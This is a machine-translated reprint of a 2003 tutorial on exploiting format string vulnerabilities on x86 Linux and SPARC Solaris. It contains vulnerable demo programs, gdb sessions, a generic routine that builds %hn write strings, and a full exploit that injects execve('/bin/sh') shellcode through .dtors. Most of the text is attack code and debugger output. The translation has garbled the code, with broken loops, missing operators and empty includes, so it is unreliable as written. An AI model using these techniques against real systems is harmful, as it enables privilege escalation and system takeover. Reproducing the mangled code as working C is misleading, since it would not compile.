[Analysis] How to use formatted overflow vulnerabilities, X86SPARC

xiaoxiao2021-03-06  24

How to use formatted overflow vulnerabilities, X86 / SPARC

Creation time: 2003-07-16

Article properties: reprint

Article submission:

Silverlizard (SilverLizard_at_vertarmy.org)

Author: Sam

table of Contents:

1, what is formatted overflow vulnerability?

2, how to X86 / SPARC EXPLOIT STRING

3, determine the value of retaddr / return

4, universal template

1, what is format strings overflow vulnerability?

Here, there is no detailed articles on formatting overflow, and mainly focuses on how to use formatted overflow vulnerabilities. If you are unfamiliar with the formatting overflow

Check out the following links, if you have a certain foundation of the formatted overflow vulnerability, the ASM / C language has a certain basis, please go to Chapter 2.

For details on formatting overflow, watch the following link:

(1) Using Format String Vulnerability on Linux

Http://www.nsfocus.net/index.php?act=magazine&do=view&mid=1635

(2) * Printf () formatting string security vulnerability analysis (on) (below)

Http://www.nsfocus.net/index.php?act=magazine&do=view&mid=533

Http://www.nsfocus.net/index.php?act=magazine&do=view&mid=534

(3) Solaris for SPARC Stack Overflow Program (Continued)

http://www.nsfocus.net/index.php?act=magazine&do=view&mid=683

2, how to X86 / SPARC EXPLOIT STRING

Below I will describe the detailed introduction of Step by Step how to use a formatted overflow vulnerability.

An example of a simple formatted overflow vulnerability:

[DOVE @ rh80 test] $ uname -a

Linux rh80 2.4.18-14 # 1 WED SEP 4 13:35:50 EDT 2002 I686 I686 I386 GNU / Linux

[DOVE @ rh80 test] $ cat ./vulfs.c

Void foo (char * str) {

Char BUF [256];

Snprintf (buf, sizeof (buf), str); / * Prints the data submitted directly to the buffer to the buffer, and no user submission formatting string * /

Printf ("% S / N", BUF);

Return;

}

INT main (int Argc, char ** argv)

{

Foo (Argv [1]);

Return 0;

}

[Dove @ rh80 test] $ gcc -o vulfs vulfs.c

[DOVE @ rh80 test] $ ./vulfs aaaabbbbbbbb

Aaaabbbb

[Dove @ rh80 test] $ ./vulfs bbbb% 20D% x

BBBB 13451311142424242

[doVE @ rh80 test] $

If we convert% X to% n, the number of the previous strings will be used to write the address of the 0x42424242 0x42424242 of BBBB (% 20D -> 20% D 4 B = 24).

(GDB) R bbbb% 20D% N

Starting Program: / Home / Dove / TEST / VULFS BBBB% 20D% N

Program received Signal SigSegv, Segmentation Fault.

0x4204a609 in vfprintf () from /Lib/i686/libc.so.6

(GDB) BT # 0 0x4204A609 in vfprintf () from /Lib/i686/libc.so.6

# 1 0x4206a3e4 in vsnprintf () from /lib/i686/libc.so.6

# 2 0x42052404 in snprintf () from /Lib/i686/libc.so.6

# 3 0x08048378 in foo ()

# 4 0x080483b4 in main ()

# 5 0x420158d4 in __libc_start_main () from /Lib/i686/libc.so.6

(GDB) X / I $ EIP

0x4204A609 : MOV% EDX, (% EAX)

(GDB) I R Edx EAX

EDX 0x18 24

Eax 0x42424242 1111638594

(GDB)

OK, according to the above information, you can construct an Exploit Code. In the Exploit Code, we use% HN (write the number of parameters to a high 2 byte of the number), instead% n.

Using 2% hn

Here I wrote a function of automatic construction formatting overflow strings.

/ * Store an address to the specified area, for Little-eNBian * /

Char *

PUTLONG (Char * PTR, Long Value)

{

* PTR = (char) (value >> 0) & 0xff;

* PTR = (char) (Value >> 8) & 0xFF;

* PTR = (char) (Value >> 16) & 0xFF;

* PTR = (char) (Value >> 24) & 0xFF;

Return PTR;

}

/ * Whether there is zero byte in the detection address * /

int

Checkzero (Long Value)

{

Return! ((Value & 0x00fffffff) &&&&

(Value & 0xFF00FFFF) &&

(Value & 0xffff00FF) &&

(Value & 0xFfffffff00));

}

/ * Our construct formatted string function * /

/ * RETLOC: You have to overwrite the address * /

/ * retaddr: shellcode address * /

/ * align: Adjust the position of the character * /

/ * Num: How many formatted characters need to be needed to print spam in the stack * /

Void Buildfs (Char * SBUF, UNSIGNED Long Retloc, Unsigned Long Retdr, Int Align, Int Num)

{

INT I;

Long Reth, Retl;

Char * PTR;

/ * Little eNBian address arrangement * /

#ifdef le

Reth = (Retaddr >> 0) & 0xffff;

Retl = (RetadDR >> 16) & 0xfff;

#ENDIF

/ * BIG ENBIAN address arrangement * /

#ifdef be

Reth = (Retaddr >> 16) & 0xfff;

Retl = (RetadDR >> 0) & 0xfffff;

#ENDIF

Printf ("RetadDR high 2 bytes: 0x% x / low 2 bytes: 0x% x / n", Reth, RETL); Printf ("RETLOC address value: 0x% x / RETLOC 2 address value: 0x % x / n ", Retloc, (Retloc 2));

Bzero (SBUF, SIZEOF (SBUF));

/ * Do you need align to align format strings * /

IF (align <0 || align> 3) {

Printf ("The value of Align must be between 1-3, the actual AGLIN value:% ld / n", align;

Exit (1);

}

/ * Test if there is zero byte in RetLoc * /

IF (CHECKZERO || Checkzero (Retloc 2)) {

Printf ("There is zero byte in Retloc, the actual RELOC value:% x, Reloc 2 value:% x / n", Retloc, (Retloc 2));

Exit (1);

}

/ * Construction formatted string * /

PTR = SBUF;

For (i = 0; i

* PTR = 0x41;

}

PTR = PUTLONG (PTR, 0X42424242);

PTR = PUTLONG (PTR, RETLOC);

PTR = PUTLONG (PTR, 0X43434343);

PTR = PUTLONG (PTR, RETLOC 2);

For (i = 0; i

Memcpy (PTR, "% .8x", 4);

PTR = PTR 4;

}

Sprintf (PTR, "%%% UC %% HN %%% UC %% HN", (Reth - Align - ((Num * 8) 16)), 0x10000 Retl - Reth);

Return;

}

Here I will explain the detailed parameters of the parameters.

Void Buildfs (Char * SBUF, UNSIGNED Long Retloc, Unsigned Long Retdr, Int Align, Int Num)

Char * SBUF: We constructed a string of strings placed in a string.

Unsigned long Retloc: All of our coverage of an address (can change the program's execution process), such as a function returns an address, .dtors structure, GOT structure, ATEXIT structure, etc.

Unsigned long retaddr: Our constructed SHELLCODE address in memory.

Int align: Our formatted string requires alignment. For example, there is such a problem on some systems.

Structure such a string [A] [A] [A] AAAABBB% X% X% X, [A] represents optional, general value between 1-3, such as:

[Dove @ rh80 test] $ ./vulfs aaaaabbbbbb% x% x% x

Aaaaabbbb ........ 4141414142424242

Then our align is 1

INT NUM: Need NUM formatted string parameters to DUMP data in memory. For example, we are in the Solaris SPARC8 Vulris.c testing as follows:

Bash-2.05 $ uname -a

SUNOS SUN8 5.8 Generic_108528-07 Sun4u SPARC SUNW, ULTRA-5_10

BASH-2.05 $ ./vulfs aaaabbbb% X% X% X% X% P

AAAABBBB8223D8FF29BCBC041414141

Here we need 4% X to DUMP off the spam. 3, determine the value of retaddr / return

About the address of Shellcode, there is a lot of very accurate ways to get, we can construct your environment variable with execve / exec can construct your environment variables, we can

Accurately calculate the value of Retadd.

For example, we can use this formula in X86 Linux:

Int retradr = 0xBffffffa - strlen (shellocde) - Strlen ("./ Vulfs");

The SPARC is also the concept, where we use Warning3 to get a function of Retdr under the SPARC.

I have been worried about the value of Reloc, and now I have mastered a good way to get these addresses. Under x86 we can use objdump to get

The address of the .dttors / got.

Such methods can be used to get the function returned address under the SPARC, but it is not valid for each function to return the address, and you need one to try :).

Bash-2.05 $ ./vulfs aaaabbb% x% x% x% x% n

Bus Error (Core Dumped)

Bash-2.05 $ gdb ./vulfs core

GNU GDB 5.0

CopyRight 2000 Free Software Foundation, Inc.

GDB IS Free Software, Covered by the gnu general public license, and you are

Welcome to change IT and / or or distribute copies of it under certain conditions.

Type "Show Copying" to see the conditions.

There Is Absolutely No Warranty for GDB. Type "Show Warranty" for Details.

THIS GDB WAS Configured AS "Sparc-Sun-Solaris2.8" ... (no debugging symbols found ...

Core was generated by `/vulfs aaaabbbb% x% x% x% x% n '.

Program Terminated with Signal 10, Bus Error.

Reading symbols from /usr/lib/libc.so.1... (NO Debugging Symbols found) ... DONE.

Loaded Symbols for /usr/lib/libc.so.1

Reading symbols from /usr/lib/libdl.so.1... (NO Debugging Symbols found) ... DONE.

Loaded Symbols for /usr/lib/libdl.so.1

Reading symbols from /usr/platform/sunw, deca-5_10/lib/libc_psr.so.1... (NO Debugging Symbols found) ... DONE.

Loaded Symbols for /usr/platform/sunw ,ultra-5_10/lib/libc_psr.so.1

# 0 0xff3038b4 in _doprnt () from /usr/lib/libc.so.1

(GDB) X / I 0xFF3038B4

0xFF3038B4 <_DOPRNT 10912>: ST% O0, [% O1]

(GDB) I r o0 O1

O0 0x17 23

O1 0x41414141 1094795585

(GDB) BT

# 0 0xff3038b4 in _DOPRNT () from /usr/lib/libc.so.1#1 0xff3045d4 in snprintf () from /usr/lib/libc.so.1

# 2 0x106e0 in foo ()

# 3 0x10724 in main ()

(GDB) f 1

# 1 0xff3045d4 in snprintf () from /usr/lib/libc.so.1

(GDB) P / X $ fp 60

$ 1 = 0xffBefb44 // Snprintf return address

(GDB)

We can go overflowing RetLoc and retaddr :)

4, example

/ * HEAP_FS.C

* Heap Format strings Vuln Example

* SAM: ExpliOit It:>

* /

#include

#include

#include

#define maxlength 2048

INT log_it (const char * format, ...)

{

Char * p;

VA_LIST AP;

IF ((p = malloc (maxlength)) == NULL)

Return -1;

VA_Start (AP, FORMAT);

vsnprintf (p, maxlength, format, AP);

#ifdef Help

Printf ("% s / n", p);

#ENDIF

VA_END (AP);

Free (p);

Return 0;

}

INT main (int Argc, char ** argv)

{

IF (argc! = 2) {

Printf ("NEED ARGS / N");

Return -1;

}

LOG_IT (Argv [1]);

Return 0;

}

/ * EX_HEAP_FS.C

* Exploit Heap Format Strings Vuln Code

* by Sam

*

* /

#include

#include

#include

#include

#include

#include

#include

/ * .dtors * /

#define dtors_addr 0x80495bc 4

#define hell "./heap_fs"

Char shellcode [] =

"/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90"

"/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90"

"/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90"

"/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90"

"/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90"

"/ x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90 / x90" / * shellcode * /

"/ X31 / XC0 / X31 / XDB / XB0 / X17 / XCD / X80 / XEB / X1F / X5E / X89 / X76 / X08 / X31"

"/ xc0 / x88 / x46 / x07 / x89 / x46 / x0c / xb0 / x0b / x89 / xf3 / x8d / x4e / x08 / x8d"

"/ X56 / X0C / XCD / X80 / X31 / XDB / X89 / XD8 / X40 / XCD / X80 / XE8 / XDC / XFF / XFF"

"/ xff / x2f / x62 / x69 / x6e / x2f / x73 / x68 / x58";

/ *

* Put a address in MEM, for Little-eNBian

*

* /

Char *

PUTLONG (Char * PTR, Long Value)

{

* PTR = (char) (value >> 0) & 0xff;

* PTR = (char) (Value >> 8) & 0xFF;

* PTR = (char) (Value >> 16) & 0xFF;

* PTR = (char) (Value >> 24) & 0xFF;

Return PTR;

}

/ *

* Check the / x00 byte

* /

int

Checkzero (Long Value)

{

Return! ((Value & 0x00fffffff) &&&&

(Value & 0xFF00FFFF) &&

(Value & 0xffff00FF) &&

(Value & 0xFfffffff00));

}

/ *

* Fixme:

* Build Format Strings

* Retloc: The AddRees You Wanna Rewrite

* Retdr: shellcode address

* Align: The aligns

* Num: How Many% .8X Can Dump The Stack Data

* Offset: Some Shellcode Offset

*

* /

Void Buildfs (Char * SBUF, UNSIGNED Long Retdr, Int Offset, Int Align, Int Num)

{

INT I;

Long Reth, Retl;

Char * PTR;

/ * Little eNBian * /

Reth = (Retaddr >> 0) & 0xffff;

Retl = (RetadDR >> 16) & 0xfff;

#ifdef debug

Printf ("Retaddr High Word: 0x% X / Low Word: 0x% x / n", RETH, RETL);

Printf ("Retloc: 0x% X / RETLOC 2: 0x% x / n", Retloc, Retloc 2);

#ENDIF

Bzero (SBUF, SIZEOF (SBUF));

IF (align <0 || align> 3) {

Printf ("Align Must Between 1-3,"

"the aglin vaule:% ld / n", align); exit (1);

}

/ * Check Zero Byte * /

IF (CHECKZERO || Checkzero (Retloc 2)) {

Printf ("Retloc Have Zero Byte;

Exit (1);

}

PTR = SBUF;

For (i = 0; i

* PTR = 0x41;

}

/ * Padding * /

PTR = PUTLONG (PTR, 0X42424242);

PTR = PUTLONG (PTR, RETLOC);

PTR = PUTLONG (PTR, 0X43434343);

PTR = PUTLONG (PTR, RETLOC 2);

For (i = 0; i

Memcpy (PTR, "% .8x", 4);

PTR = PTR 4;

}

Sprintf (PTR, "%%% UC %% HN %%% UC %% HN", RETH - OFFSET - Align - (Num * 8 16), 0x10000 Offset Retl - Reth);

Return;

}

/ *

* Main function

*

* /

int main ()

{

int R_Addr;

Char BUF [256];

CHAR * ARGS [24];

Char * ENV [2];

/ * Our shellcode address * /

RET_ADDR = 0xBfffffa - Strlen (shellcode) - Strlen (Hell);

/ * PUT in env * /

ENV [0] = shellcode;

ENV [1] = NULL;

Printf ("Use shellcode 0x% x / n", RET_ADDR);

Bzero (BUF, SIZEOF (BUF));

/ * Build Format strings * /

Buildfs (buf, dtors_addr, ret_addr, 0, 3, 65); / * Exploit * /

/ * lamer;) * /

Args [0] = HELL;

ARGS [1] = BUF;

Args [2] = NULL;

Execve (Args [0], Args, ENV);

PERROR ("execve");

Return 0;

}

/ * end of main * /

转载请注明原文地址:https://www.9cbs.com/read-40967.html

New Post(0)